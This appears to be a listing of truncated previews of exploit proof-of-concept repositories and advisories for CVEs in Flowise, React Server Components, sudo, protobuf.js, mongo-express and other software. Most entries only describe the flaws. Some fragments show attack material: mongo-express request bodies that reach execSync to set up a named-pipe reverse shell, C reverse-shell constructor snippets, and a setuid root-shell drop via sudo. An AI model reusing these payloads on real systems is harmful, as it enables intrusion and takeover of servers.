CVE-2025-58434-59528

CVE-2025-58434 + CVE-2025-59528 Exploit chain for two vulnerabilities affecting Flowise = 3.0.5. Vulnerabilities CVE-2025-58434 — Unauthenticated Account Takeover The forgot-password endpoint returns a valid password reset token in the API response without requiring authentication. An attacker wi...

CVE-2025-55182

CVE-2025-55182 This repository contains a PoC reproduction of CVE-2025-55182 , a critical security vulnerability in React Server Components RSC that allows unauthenticated arbitrary code execution. Description The vulnerability exists in how React Server Components deserialize "Server Actions" fr...

React2Shell-CVE-2025-55182-The-Deserialization-Bug-That-Broke-the-Web

React2Shell CVE-2025-55182: The Deserialization Bug That Broke the Web ⚡ React2Shell, CVE-2025-55182, RCE Vulnerability: A critical breakdown of the unsafe deserialization flaw in React Server Components that enables unauthenticated remote code execution across default React/Next.js setups. ⏩ TL;...

CVE-2025-59528

CVE-2025-59528: Flowise CustomMCP 远程代码执行 PoC 一个针对 CVE-2025-59528 的 Go 语言概念验证，影响 Flowise 版本 示例...

CVE-2026-40897

CVE-2026-40897 Ejecución Remota de Código en el Analizador de Expresiones de Math.js ★ CVE-2026-40897 Ejecución Remota de Código en Math.js PoC ★ https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898 Resumen CVE-2026-40897 es una vulnerabilidad de Omisión de Sandbox que...

sudoinjection

CVE-2025-32463：通过 sudo -R NSS 注入实现本地权限提升 概述 此 PoC 演示了在 Linux 系统上通过滥用 sudo -R 选项并结合自定义 NSS 模块实现的本地权限提升 。它针对漏洞 CVE-2025-32463，该漏洞源于在 chroot 环境下对 nsswitch.conf 和 NSS 共享库的不安全处理。 本 PoC sudo2root 改编自原始技术，通过编译一个自定义 NSS 模块，利用 constructor 属性提升权限，并在 /usr/local/bin/.suidshell 放置一个 setuid root shell。 漏洞详情 漏洞...

UBUNTU-CVE-2026-84961

undicis BalancedPool constructor passes its entire options object thr...

CVE-2026-84961

undicis BalancedPool constructor passes its entire options object thr...

CVE-2018-4121

CVE-2018-4121 - Safari Wasm Sections POC RCE Exploit by MWR Labs c 2018 Details this proof of concept exploit targets Safari 11.0.3 13604.5.6 on macOS 10.13.3 17D47 versions only. compile the payload of your choice as a dylib with a constructor run python filetojsarray.py your.dylib payload.js...

CVE-2026-41242

CVE-2026-41242 — protobuf.js 代码注入到远程代码执行 CVSS 9.4（严重） | 代码注入（CWE-94） 概述 protobuf.js（npm：protobufjs）版本 ≤ 7.5.4 和 ≤ 8.0.0 存在通过 protobuf schema 中 type 名称导致的任意代码执行 漏洞。@protobufjs/codegen 模块将 type 名称直接拼接进 JavaScript 字符串，再通过 Function 构造函数执行（等同于 eval）。能够控制 schema 的攻击者可注入代码并在服务器上运行。 已修复： protobufjs 7.5.5...

CVE-2026-85610

OpenPanel before version 2.3.0 is vulnerable to Remote Code Execution via chart formula expressions. The root cause is improper validation of these expressions, which allows authenticated project members with read access to recover the native JavaScript Function constructor through mathjs matrix ...

CVE-2025-55182

CVE-2025-55182 If you're looking for an actual explanation, msanft/CVE-2025-55182 has a nice one with a working PoC. This repository only contains some things I tried, which yielded interestingish results. ./thing.py now contains a working PoC, most of which was taken from...

CVE-2021-42342

CVE-2021-42342 CVE-2021-42342 RCE POC1:just prints root@kitploit: include include include include static void beforemainvoid attributeconstructor; static void beforemainvoid write1, "Hello World!\n", 14; POC2: reverse shell root@kitploit: include include include include char serverip=""; uint32t...

CVE-2025-59528-POC

CVE-2025-59528 - FlowiseAI CustomMCP Remote Code Execution CVSS 10.0 Critical | Blind RCE | FlowiseAI Flowise = 2.2.7-patch.1 and 3.0.6 Overview A critical remote code execution vulnerability in the CustomMCP node of FlowiseAI Flowise. The convertToValidJSONString function passes user-supplied...

CVE-2025-59528

CVE-2025-59528 – Flowise CustomMCP 节点远程代码执行（PoC） 概述 本仓库包含了证明 CVE-2025-59528 在 Flowise v3.0.5 中存在的概念验证代码。 该漏洞存在于 customMCP 节点中，用户提供的 mcpServerConfig 输入在处理时，会通过 Function 构造函数进行不安全求值，从而导致 JavaScript 代码执行。 受影响版本 受影响| 修复版本 ---|--- 3.0.5| 3.0.6 影响 经过身份验证的用户可能能够在服务器上执行任意 JavaScript，进而可能导致远程代码执行。 安装...

GHSA-QXC2-J82W-R537 Faker: helpers.fake exploitable into arbritary code execution

Summary faker.helpers.fake can be tricked into arbritary code execution. Details fakeEval.resolveProperty resolves properties on functions itself instead of resolving the nested function first. This can be addressed by recursively calling resolveProperty instead of accessing the property after on...

EUVD-2026-56923

Faker: helpers.fake exploitable into arbritary code execution...

CVE-2018-6574

CVE-2018-6574 Steps to reproduce: 1. Create a .c file containing the malicious command revshell: root@kitploit: include include static void malicious attributeconstructor; void malicious system""; 2. Compile it using GCC. You must compile it on the exact architecture and OS as the target e.g. Lin...

CVE-2025-59528.yaml

CVE-2025-59528.yaml Flowise es una interfaz de usuario de arrastrar y soltar para construir un flujo de modelos de lenguaje grandes personalizados. En la versión 3.0.5, Flowise es vulnerable a la ejecución remota de código. El nodo CustomMCP permite a los usuarios ingresar ajustes de configuració...

CVE-2019-10758

CVE-2019-10758 mongo-express远程代码执行，反弹shell代码如下： POST BODY 1: document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" POST BODY 2： document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"cat /tmp/f |...